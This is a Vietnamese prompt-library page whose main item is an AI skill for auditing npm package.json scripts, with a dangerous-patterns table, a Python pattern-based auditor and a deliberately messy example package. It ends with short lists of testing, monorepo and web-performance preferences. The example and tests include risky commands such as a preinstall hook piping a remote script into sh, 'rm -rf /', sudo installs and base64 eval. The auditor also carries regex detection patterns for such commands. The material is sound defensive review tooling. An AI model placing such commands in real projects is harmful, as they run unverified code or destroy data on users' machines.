prompts.chatprompts.chatprompts.chat
BotPromptKỹ năngQuy trìnhDanh mụcThẻCao thủ PromptPhong cách
SáchCho trẻ emNhà phát triển
Đăng nhập
CC0 2026 prompts.chat
DeepWikiHướng dẫn...Tài liệuAPIQuyền riêng tưĐiều khoảnHỗ trợGiới thiệuGitHub
Tất cả thẻ

Prompt JavaScript

55 prompt
Trình kiểm toán Scripts trong package.json
Kỹ năng

Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.

---
name: package-json-scripts-auditor
description: Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.
---

# Trình kiểm toán Scripts trong package.json

Bạn đánh giá khối `scripts` trong tệp `package.json` của Node.js và giải thích từng script làm gì, những script nào tiềm ẩn rủi ro, và cách làm cho tập hợp các script trở nên rõ ràng cũng như dễ tương thích đa nền tảng hơn. Bạn phục vụ hai nhóm đối tượng: những người bảo trì đang dọn dẹp dự án của chính họ, và những người đánh giá đang kiểm tra xem một gói phụ thuộc hoặc một PR có chạy bất kỳ lệnh nguy hiểm nào vào thời điểm cài đặt hay không. Bạn không bao giờ tự chạy các script; bạn chỉ đọc chúng.

## Các tệp trong kỹ năng này

- `scripts/audit_scripts.py` - đọc tệp package.json và báo cáo các phát hiện kèm theo mức độ nghiêm trọng (high, medium, low, info) cùng cách khắc phục được đề xuất (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/script-conventions.md` - các tên script tiêu chuẩn, các hook vòng đời (lifecycle hooks), quy ước đặt tên và tính tương thích đa nền tảng
- `references/dangerous-patterns.md` - các mẫu lệnh cần xem xét kỹ hơn, lý do chúng quan trọng và các giải pháp thay thế an toàn hơn
- `templates/audit-report.md` - cấu trúc báo cáo cần trả về
- `examples/package.json` - một ví dụ cố tình làm lộn xộn để thực hành

## Quy trình làm việc

### 1. Thu thập ngữ cảnh
Yêu cầu toàn bộ tệp `package.json` (không chỉ phần `scripts`, vì `name`, `private`, `bin`, `workspaces`, và `packageManager` đều quan trọng), và hỏi xem đây là dự án của chính người dùng hay là một gói của bên thứ ba. Hỏi xem nhóm sử dụng hệ điều hành nào (việc hỗ trợ Windows sẽ làm thay đổi lời khuyên về tính tương thích đa nền tảng).

### 2. Chạy trình kiểm toán
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Mã thoát (Exit code) 0 = không có phát hiện mức độ cao (high), 1 = có ít nhất một phát hiện mức độ cao, 2 = lỗi tệp.

### 3. Đánh giá thủ công
Script kiểm toán hoạt động dựa trên mẫu (pattern-based). Bạn cũng hãy tự đọc từng script và kiểm tra:
- Các hook vòng đời (`preinstall`, `install`, `postinstall`, `prepare`) chạy tự động đối với người dùng gói; bất kỳ lệnh gọi mạng hoặc ghi tệp nào bên ngoài dự án tại đó đều là dấu hiệu cảnh báo đỏ.
- Các script gọi những tệp khác (`node scripts/setup.js`, `sh ./build.sh`): hãy yêu cầu xem các tệp đó trước khi kết luận gói là an toàn.
- Việc làm rối mã (obfuscation) (base64, chuỗi hex, `eval`, `node -e` với các câu lệnh một dòng dài) đáng bị nghi ngờ ở mức độ cao.

### 4. Đề xuất
Sử dụng `references/script-conventions.md` và `references/dangerous-patterns.md` để đề xuất các phương án thay thế cụ thể: `rimraf` hoặc `del-cli` thay cho `rm -rf`, `cross-env` thay cho `VAR=value cmd`, ghim phiên bản `npx pkg@1.2.3`, `prepublishOnly` chạy kiểm thử, và đặt tên theo nhóm như `lint:js`, `test:unit`.

### 5. Báo cáo
Điền vào `templates/audit-report.md`: kết luận, bảng các phát hiện, khối `scripts` được viết lại, và các câu hỏi tiếp theo.

## Quy tắc

- Đánh giá mức độ nghiêm trọng theo tác động: bất kỳ thứ gì có thể chạy mã từ xa hoặc xóa tệp bên ngoài dự án khi cài đặt đều ở mức cao (high).
- Không buộc tội tác giả có ý đồ xấu; hãy mô tả hành vi và rủi ro.
- Giữ nguyên tên các script hiện có của người dùng nếu việc đổi tên sẽ làm hỏng CI, và cho biết những tệp CI nào sẽ cần cập nhật nếu bạn đề xuất đổi tên.
- Đề xuất `npm install --ignore-scripts` để kiểm toán các gói không đáng tin cậy, và chỉ đề xuất `npm config set ignore-scripts true` khi đã giải thích rõ các mặt đánh đổi.
FILE:references/dangerous-patterns.md
# Các mẫu Script nguy hiểm và rủi ro

| Mẫu | Ví dụ | Tại sao lại quan trọng | Giải pháp thay thế an toàn hơn | Mức độ nghiêm trọng |
|---|---|---|---|---|
| Script từ xa truyền qua pipe vào shell | `curl -fsSL https://x.sh \| sh` | Chạy bất cứ thứ gì máy chủ trả về, không ghim phiên bản và không được xác minh | Đóng gói trực tiếp script vào dự án (vendor), ghim bằng checksum, hoặc dùng một gói đã xuất bản | high |
| Tải dữ liệu mạng trong các hook cài đặt | `"postinstall": "node download.js"` / `wget` | Chạy trên máy của mọi người dùng vào thời điểm cài đặt | Đóng gói sẵn các tạo phẩm (artifacts) trong gói, hoặc làm cho bước này trở thành tùy chọn (opt-in) | high |
| Xóa đệ quy các đường dẫn rộng | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` với biến chưa được đặt giá trị | Có thể xóa sạch dữ liệu bên ngoài dự án | `rimraf dist`, các đường dẫn tương đối rõ ràng | high |
| `sudo` | `sudo npm i -g x` | Leo thang đặc quyền từ một script | Không bao giờ yêu cầu quyền root trong các script; hãy ghi tài liệu hướng dẫn các bước thủ công | high |
| `eval` / các payload được mã hóa | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Che giấu những gì thực sự chạy | Các lệnh thuần túy, dễ đọc đặt trong các tệp | high |
| Thông tin bí mật nhúng trực tiếp (Inline secrets) | `API_TOKEN=abc123 node deploy.js` | Rò rỉ trong lịch sử git và nhật ký (logs) CI | Các biến môi trường từ kho lưu trữ bí mật hoặc tệp `.env` không được commit | high |
| Quyền ghi cho mọi người (World-writable) | `chmod 777`, `chmod -R a+w` | Cho phép bất kỳ người dùng nào sửa đổi tệp | Quyền tối thiểu (`chmod +x file`) | medium |
| Bỏ qua các bước kiểm tra an toàn | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Vượt qua các hook và cơ chế bảo vệ | Sửa lỗi kiểm tra đang bị thất bại thay vì bỏ qua | medium |
| `npx` / `dlx` không ghim phiên bản | `npx create-thing` | Tải xuống và chạy phiên bản mới nhất vào thời điểm chạy | `npx create-thing@3.2.1` hoặc thêm vào làm devDependency | medium |
| Cài đặt toàn cục (global) trong các script | `npm i -g typescript` | Làm thay đổi máy của người dùng; gây lệch phiên bản | devDependency + tệp thực thi (bin) cục bộ | medium |
| Các URL HTTP thuần túy | `curl http://...` | Có thể bị can thiệp trong quá trình truyền tải | HTTPS | medium |
| `git push` / `npm publish` trong các hook | `"postbuild": "npm publish"` | Phát hành ngoài ý muốn | Script `release` rõ ràng được chạy bởi CI | medium |
| Cú pháp shell không tương thích đa nền tảng | `NODE_ENV=prod`, `export`, `cp -r` | Bị lỗi trên Windows | `cross-env`, `cpy-cli`, các script Node | low |
| Kiểm thử giữ chỗ (Placeholder test) | `echo "Error: no test specified" && exit 1` | CI thất bại hoặc các bài kiểm thử âm thầm bị thiếu | Trình chạy kiểm thử (test runner) thực sự | low |
| Câu lệnh một dòng (one-liners) rất dài | > 200 ký tự | Khó đánh giá; ẩn chứa rủi ro | Chuyển sang một tệp script riêng | low |

## Mẹo đánh giá
- Đối với các gói của bên thứ ba: kiểm tra bằng lệnh `npm pack <pkg>` và đọc tệp nén tarball, hoặc cài đặt với cờ `--ignore-scripts` trước.
- Lần theo các tham chiếu tệp: `node scripts/postinstall.js` chỉ an toàn tương đương với mức độ an toàn của chính tệp đó.
- Chú ý đến `prepare` trong các gói phụ thuộc git: nó sẽ chạy khi cài đặt từ một URL git.
FILE:references/script-conventions.md
# Quy ước Script trong npm

## Các tên tiêu chuẩn
| Script | Mục đích | Chạy bằng lệnh |
|---|---|---|
| `start` | Chạy ứng dụng ở chế độ production | `npm start` |
| `dev` | Chạy kèm theo dõi thay đổi (watch) / tải lại nóng (hot reload) | `npm run dev` |
| `build` | Tạo đầu ra bản dựng (build output) | `npm run build` |
| `test` | Chạy bộ kiểm thử (mặc định của CI) | `npm test` |
| `lint` | Kiểm tra tĩnh | `npm run lint` |
| `format` | Áp dụng trình định dạng mã | `npm run format` |
| `typecheck` | `tsc --noEmit` hoặc tương tự | `npm run typecheck` |
| `clean` | Xóa các tạo phẩm bản dựng (build artifacts) | `npm run clean` |

Sử dụng dấu hai chấm để nhóm các biến thể: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Sử dụng `npm-run-all` / `run-p` / `run-s`, hoặc `npm run a && npm run b`, để kết hợp chúng.

## Các hook vòng đời (Lifecycle hooks)
| Hook | Chạy khi | Ghi chú |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Gói của bạn được cài đặt, bao gồm cả khi làm gói phụ thuộc | Chạy trên máy của mọi người dùng. Hãy để trống trừ khi cần biên dịch mã gốc (native code). |
| `prepare` | Sau khi chạy `npm install` cục bộ và trước `npm publish`/`npm pack`; cũng chạy đối với các gói phụ thuộc git | Tốt để dựng (build) hoặc thiết lập các git hook (ví dụ: `husky`). |
| `prepublishOnly` | Chỉ trước khi chạy `npm publish` | Đặt `npm test && npm run build` ở đây. |
| `prepack`, `postpack` | Xung quanh lệnh `npm pack` / publish | |
| `preX` / `postX` | Tự động trước/sau bất kỳ script `X` nào | Có thể gây bất ngờ cho người đọc; nên ưu tiên nối chuỗi lệnh rõ ràng. pnpm mặc định không chạy chúng. |

## Tính tương thích đa nền tảng (Portability)
- `cmd.exe` của Windows không hiểu `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, chạy nền bằng `&`, dấu nháy đơn, hoặc `$VAR`. Hãy sử dụng `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, và các script Node.
- `&&` hoạt động trong cả hai trình shell; `;` không chạy theo cùng một cách trong `cmd.exe`.
- Ưu tiên các tệp thực thi cục bộ (từ `devDependencies`) hơn là các tệp được cài đặt toàn cục; npm sẽ thêm `node_modules/.bin` vào PATH bên trong các script.

## Sự rõ ràng
- Mỗi script chỉ đảm nhận một công việc; chuyển các logic dài (> ~120 ký tự) vào các tệp `scripts/*.js` hoặc `*.mjs`.
- Tránh những tên làm che khuất (shadow) các lệnh npm hoặc trùng lặp lẫn nhau (`install`, `publish`, `test2`).
- Thay thế lệnh mặc định `echo "Error: no test specified" && exit 1` bằng một lệnh kiểm thử thực sự hoặc xóa nó đi.
- Ghi tài liệu cho các script khác thường trong tệp README.
- Đặt `"private": true` cho các ứng dụng không bao giờ được phép xuất bản.
FILE:templates/audit-report.md
# Kiểm toán Scripts trong package.json

**Gói:** `<name>@<version>`  |  **Chủ sở hữu:** dự án riêng / bên thứ ba  |  **Riêng tư (Private):** có/không
**Kết luận:** An toàn / Cần thay đổi / Không cài đặt cho đến khi được đánh giá
**Số lượng:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`

## Danh mục Script
| Script | Chức năng (diễn giải dễ hiểu) | Có chạy tự động không? |
|---|---|---|
| `build` | | không |
| `postinstall` | | có, trong mọi lần cài đặt |

## Các phát hiện
| # | Mức độ nghiêm trọng | Script | Mẫu | Tại sao lại quan trọng | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | high | | | | |

## Khối scripts được đề xuất
```json
{
  "scripts": {
  }
}
```

## Kiểm tra thêm
- Các tệp được tham chiếu bởi các script: `<list>`
- Các tệp CI gọi những script đã được đổi tên: `<list>`
- Các devDependencies cần thêm: `<rimraf, cross-env, ...>`

## Câu hỏi dành cho người bảo trì
1.
FILE:examples/package.json
{
  "name": "acme-dashboard",
  "version": "0.4.2",
  "description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
  "main": "dist/index.js",
  "scripts": {
    "preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
    "postinstall": "node scripts/fetch-assets.js",
    "start": "NODE_ENV=production node dist/index.js",
    "dev": "nodemon src/index.ts",
    "build": "rm -rf dist && tsc -p .",
    "test": "echo \"Error: no test specified\" && exit 1",
    "deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
    "fix-perms": "chmod -R 777 ./uploads",
    "commit": "git add -A && git commit --no-verify -m wip",
    "gen": "npx create-acme-widget",
    "postbuild": "npm publish",
    "setup": "sudo npm install -g typescript"
  },
  "devDependencies": {
    "nodemon": "^3.1.0",
    "typescript": "^5.6.0"
  }
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.

Usage:
    python3 audit_scripts.py path/to/package.json [--json]
    python3 audit_scripts.py --self-test

Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys

INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}

# (id, regex, severity, message, fix)
PATTERNS = [
    ("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
     "Downloads a remote script and pipes it into a shell.",
     "Vendor the script, verify a checksum, or use a pinned package."),
    ("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
     "Recursive delete of a root, home, or variable-based path.",
     "Delete an explicit relative path, e.g. `rimraf dist`."),
    ("sudo", r"(^|[\s;&|])sudo\s", "high",
     "Uses sudo inside an npm script.",
     "Never require root from scripts; document any manual setup."),
    ("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
     "Uses eval or decodes an encoded payload, hiding what runs.",
     "Replace with plain, readable commands in a script file."),
    ("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
     "Hard-coded secret value in a script.",
     "Read secrets from the environment or a secret manager; rotate the exposed value."),
    ("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
     "Makes files world-writable.",
     "Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
    ("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
     "Bypasses safety checks or hooks.",
     "Fix the underlying failure instead of skipping the check."),
    ("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
     "Runs a package via npx/dlx without a pinned version.",
     "Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
    ("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
     "Installs packages globally from a script.",
     "Add as a devDependency and use the local binary."),
    ("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
     "Fetches over plain HTTP.",
     "Use HTTPS."),
    ("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
     "Publishes or pushes from a script.",
     "Keep releases in an explicit `release` script or CI job."),
    ("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
     "Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
     "Use `cross-env VAR=value cmd`."),
    ("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
     "Unix-only shell command.",
     "Use rimraf / cpy-cli / a Node script for Windows support."),
]

PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")


def audit(pkg):
    findings = []

    def add(sev, script, rule, msg, fix):
        findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})

    scripts = pkg.get("scripts")
    if not isinstance(scripts, dict) or not scripts:
        add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
        return findings

    for name, cmd in scripts.items():
        if not isinstance(cmd, str):
            add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
            continue
        for rule, rx, sev, msg, fix in PATTERNS:
            if re.search(rx, cmd):
                add(sev, name, rule, msg, fix)
        if name in INSTALL_HOOKS:
            if name == "prepare":
                add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
                    "Keep it limited to build or git-hook setup.")
            else:
                add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
                    "Remove it unless it compiles native code; move setup to an explicit script.")
            if NETWORK.search(cmd):
                add("high", name, "network-in-install-hook", "Install hook performs network access.",
                    "Ship assets in the package or make the download opt-in.")
            for ref in FILE_REF.findall(cmd):
                add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
                    f"Install hook executes `{ref}`; its contents decide the real risk.",
                    f"Read `{ref}` before trusting this package.")
        if name == "test" and PLACEHOLDER_TEST.search(cmd):
            add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
        if len(cmd) > 200:
            add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
        if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
            base = name[3:] if name.startswith("pre") else name[4:]
            if base in scripts:
                add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
                    f"Consider chaining explicitly inside `{base}`.")
        if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
            add("low", name, "naming", "Script name uses unusual characters or uppercase.",
                "Use lowercase names grouped with colons, e.g. `test:unit`.")

    for std in ("build", "test", "lint"):
        if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
            add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
    if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
        add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
            "Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
    findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
    return findings


def self_test():
    pkg = {
        "name": "t", "scripts": {
            "preinstall": "curl -fsSL http://x.example/s.sh | sh",
            "postinstall": "node scripts/setup.js",
            "clean": "rm -rf $OUT/",
            "deploy": "API_TOKEN=abc123 node deploy.js",
            "perm": "chmod -R 777 uploads",
            "gen": "npx create-foo",
            "gen2": "npx create-foo@1.2.3",
            "start": "NODE_ENV=production node index.js",
            "test": "echo \"Error: no test specified\" && exit 1",
            "setup": "sudo npm i -g typescript",
            "build": "tsc",
        }}
    f = audit(pkg)
    rules = {(x["script"], x["rule"]) for x in f}
    checks = [
        (("preinstall", "pipe-to-shell"), True),
        (("preinstall", "network-in-install-hook"), True),
        (("preinstall", "plain-http"), True),
        (("postinstall", "install-hook-runs-file"), True),
        (("clean", "broad-rm"), True),
        (("deploy", "inline-secret"), True),
        (("perm", "chmod-777"), True),
        (("gen", "unpinned-npx"), True),
        (("gen2", "unpinned-npx"), False),
        (("start", "non-portable-env"), True),
        (("test", "placeholder-test"), True),
        (("setup", "sudo"), True),
        (("setup", "global-install"), True),
        (("build", "broad-rm"), False),
    ]
    failed = 0
    for key, expected in checks:
        ok = (key in rules) == expected
        failed += not ok
        print(f"{'PASS' if ok else 'FAIL'}  {key[0]}:{key[1]} expected={'present' if expected else 'absent'}")
    clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}})
    ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")]
    failed += not ok
    print(f"{'PASS' if ok else 'FAIL'}  clean package has no high/medium/low findings")
    total = len(checks) + 1
    print(f"\n{total - failed}/{total} passed")
    return 1 if failed else 0


def main(argv=None):
    p = argparse.ArgumentParser(description="Audit npm package.json scripts.")
    p.add_argument("file", nargs="?", help="Path to package.json")
    p.add_argument("--json", action="store_true", help="Output JSON")
    p.add_argument("--self-test", action="store_true", help="Run built-in tests")
    a = p.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.file:
        p.error("file is required (or use --self-test)")
    try:
        with open(a.file, encoding="utf-8") as fh:
            pkg = json.load(fh)
    except (OSError, json.JSONDecodeError) as exc:
        print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
        return 2
    findings = audit(pkg)
    counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER}
    if a.json:
        print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2))
    else:
        print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}")
        for f in findings:
            where = f["script"] or "-"
            print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}")
        print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items()))
    return 1 if counts["high"] else 0


if __name__ == "__main__":
    sys.exit(main())
JavaScriptCode ReviewNode.js
F@f
0
Kiểm thử taste
Văn bản

Các ưu tiên mang tính định hướng rõ ràng để viết các bài kiểm thử tự động nhanh, đáng tin cậy trong các dự án TypeScript và JavaScript.

# Gu kiểm thử của một nhóm phát triển TypeScript thực dụng
- Sử dụng vitest làm trình chạy kiểm thử mặc định cho cả kiểm thử đơn vị (unit test) và kiểm thử tích hợp (integration test). Độ tin cậy: 0.90
- Đặt các tệp kiểm thử ngay cạnh mã nguồn mà chúng kiểm tra với tên *.test.ts. Độ tin cậy: 0.85
- Đặt tên các bài kiểm thử bằng những câu văn rõ ràng mô tả hành vi, chứ không phải tên phương thức. Độ tin cậy: 0.90
- Tuân theo cấu trúc chuẩn bị (arrange), thực thi (act), khẳng định (assert) với một dòng trống ngăn cách giữa mỗi giai đoạn. Độ tin cậy: 0.75
- Kiểm thử hành vi công khai thông qua API của mô-đun thay vì kiểm thử các hàm nội bộ (private). Độ tin cậy: 0.90
- Ưu tiên sử dụng các thành phần phối hợp thực tế và các bản giả lập trong bộ nhớ (in-memory fakes) hơn là dùng mock. Độ tin cậy: 0.85
- Chỉ làm giả (mock) tại các ranh giới tiến trình chẳng hạn như mạng, đồng hồ hệ thống và bộ sinh số ngẫu nhiên. Độ tin cậy: 0.90
- Chặn bắt các yêu cầu HTTP bằng msw thay vì tự viết hàm giả lập (stub) cho fetch bằng tay. Độ tin cậy: 0.80
- Chạy các bài kiểm thử cơ sở dữ liệu với một Postgres thực sự trong Testcontainers, chứ không dùng SQLite. Độ tin cậy: 0.80
- Đóng băng thời gian bằng bộ đếm thời gian giả (fake timers) và truyền giá trị mầm (seed) cho bất kỳ thứ gì mang tính ngẫu nhiên. Độ tin cậy: 0.90
- Tạo dữ liệu kiểm thử bằng các hàm khởi tạo (factory functions) nhỏ cho phép ghi đè giá trị. Độ tin cậy: 0.85
- Giữ cho các bài kiểm thử chụp nhanh (snapshot tests) ít và nhỏ gọn, đồng thời xem xét kỹ mọi thay đổi khác biệt của snapshot. Độ tin cậy: 0.75
- Sử dụng Playwright cho một lớp mỏng các bài kiểm thử đầu-cuối (end-to-end) chỉ tập trung vào những luồng người dùng quan trọng. Độ tin cậy: 0.85
- Chọn các phần tử theo vai trò (role) và tên hỗ trợ tiếp cận (accessible name) trong các bài kiểm thử giao diện, không bao giờ chọn theo class CSS. Độ tin cậy: 0.90
- Coi một bài kiểm thử chập chờn (flaky test) là một lỗi: cách ly nó ngay trong ngày và sửa hoặc xóa nó trong vòng một tuần. Độ tin cậy: 0.85
- Không bao giờ dùng lệnh sleep trong kiểm thử; thay vào đó hãy chờ một điều kiện cụ thể xảy ra. Độ tin cậy: 0.95
- Giữ cho toàn bộ bộ kiểm thử đơn vị chạy xong dưới một phút trên máy tính xách tay. Độ tin cậy: 0.75
- Theo dõi độ bao phủ mã nguồn (coverage) như một xu hướng trong CI nhưng không chặn việc gộp mã (merge) dựa trên một tỷ lệ phần trăm cố định. Độ tin cậy: 0.70
- Bổ sung kiểm thử dựa trên thuộc tính (property-based tests) bằng fast-check cho các bộ phân tích cú pháp (parsers) và logic thuần túy. Độ tin cậy: 0.65
- Viết một bài kiểm thử hồi quy báo lỗi trước khi sửa bất kỳ lỗi nào được báo cáo. Độ tin cậy: 0.90
- Chạy các bài kiểm thử theo thứ tự ngẫu nhiên để phát hiện trạng thái dùng chung bị ẩn. Độ tin cậy: 0.70
JavaScriptTypeScriptQuality+2
F@f
0
Monorepo taste
Văn bản

Các quy ước mang tính định hướng rõ ràng để cấu trúc và vận hành một monorepo JavaScript và TypeScript.

# Gu thiết kế monorepo của một kỹ sư nền tảng (platform engineer)
- Sử dụng pnpm workspaces với một tệp khóa (lockfile) duy nhất ở thư mục gốc của kho mã nguồn. Độ tin cậy: 0.95
- Đặt các ứng dụng có thể triển khai vào thư mục apps/ và các thư viện dùng chung vào thư mục packages/. Độ tin cậy: 0.90
- Điều phối các tác vụ bằng Turborepo và bật bộ nhớ đệm từ xa (remote caching) trong CI. Độ tin cậy: 0.85
- Tham chiếu các gói nội bộ bằng giao thức workspace:*. Độ tin cậy: 0.90
- Đặt tên mọi gói nội bộ dưới cùng một phạm vi (scope) npm chẳng hạn như @acme/. Độ tin cậy: 0.85
- Chia sẻ một cấu hình tsconfig cơ sở từ gói packages/tsconfig và kế thừa (extend) nó ở mọi nơi. Độ tin cậy: 0.85
- Sử dụng TypeScript project references để trình soạn thảo và tsc biên dịch tăng dần (incremental build). Độ tin cậy: 0.70
- Duy trì một phiên bản duy nhất cho mỗi thư viện phụ thuộc bên ngoài trên toàn bộ kho mã nguồn, được kiểm soát bằng syncpack. Độ tin cậy: 0.80
- Phân phối các gói nội bộ dưới dạng mã nguồn TypeScript và để các ứng dụng tự biên dịch chúng, trừ khi các gói đó được xuất bản công khai. Độ tin cậy: 0.75
- Quản lý phiên bản và xuất bản các gói công khai bằng Changesets. Độ tin cậy: 0.85
- Chỉ chạy CI cho các gói bị ảnh hưởng bởi thay đổi, sử dụng turbo --filter với một dải commit git. Độ tin cậy: 0.85
- Cấm import sâu vào cấu trúc bên trong giữa các gói và chỉ cho phép import qua bản đồ exports đã khai báo. Độ tin cậy: 0.85
- Kiểm soát ranh giới phụ thuộc bằng quy tắc lint để các ứng dụng không bao giờ import lẫn nhau. Độ tin cậy: 0.90
- Giữ cho tệp package.json ở thư mục gốc không chứa các thư viện phụ thuộc lúc chạy (runtime dependencies). Độ tin cậy: 0.80
- Phân công người phụ trách cho từng thư mục bằng tệp CODEOWNERS. Độ tin cậy: 0.80
- Cố định phiên bản Node.js và pnpm bằng tệp .nvmrc và trường packageManager. Độ tin cậy: 0.90
- Ưu tiên sử dụng một cấu hình lint và định dạng mã nguồn duy nhất ở thư mục gốc thay vì sao chép vào từng gói. Độ tin cậy: 0.80
- Đặt tên các script giống hệt nhau cho mọi gói: build, dev, lint, test và typecheck. Độ tin cậy: 0.90
- Tránh sự phụ thuộc vòng (circular dependencies) giữa các gói và kiểm tra chúng trong CI. Độ tin cậy: 0.85
- Chỉ tách riêng một gói ra khi thực sự có nơi thứ hai cần sử dụng nó. Độ tin cậy: 0.75
JavaScriptTypeScriptCI/CD+2
F@f
0
Hiệu Năng Web taste
Văn bản

Các ưu tiên mang tính định kiến nhằm giúp trang web tải nhanh và duy trì khả năng phản hồi mượt mà cho người dùng thực tế.

# Phong cách (taste) tối ưu hiệu năng Web của một kỹ sư Frontend
- Đo lường các chỉ số Core Web Vitals (LCP, INP, CLS) từ người dùng thực tế, chứ không chỉ dựa vào các lần chạy Lighthouse trong môi trường thử nghiệm (lab). Độ tin cậy: 0.90
- Thiết lập ngân sách hiệu năng (performance budget) cho dung lượng JavaScript và chỉ số LCP, đồng thời cho dừng lỗi CI khi có thay đổi vượt quá giới hạn đó. Độ tin cậy: 0.80
- Kết xuất (render) khung nhìn đầu tiên trên máy chủ hoặc dưới dạng tĩnh; không phân phối một trang trắng phải chờ tải xong JavaScript. Độ tin cậy: 0.90
- Giảm lượng mã JavaScript gửi đi trước khi tối ưu hóa số JavaScript mà bạn gửi. Độ tin cậy: 0.90
- Chia nhỏ mã (code splitting) theo từng tuyến đường (route) và tải trễ (lazy-load) các thành phần nặng như trình soạn thảo, biểu đồ và bản đồ. Độ tin cậy: 0.85
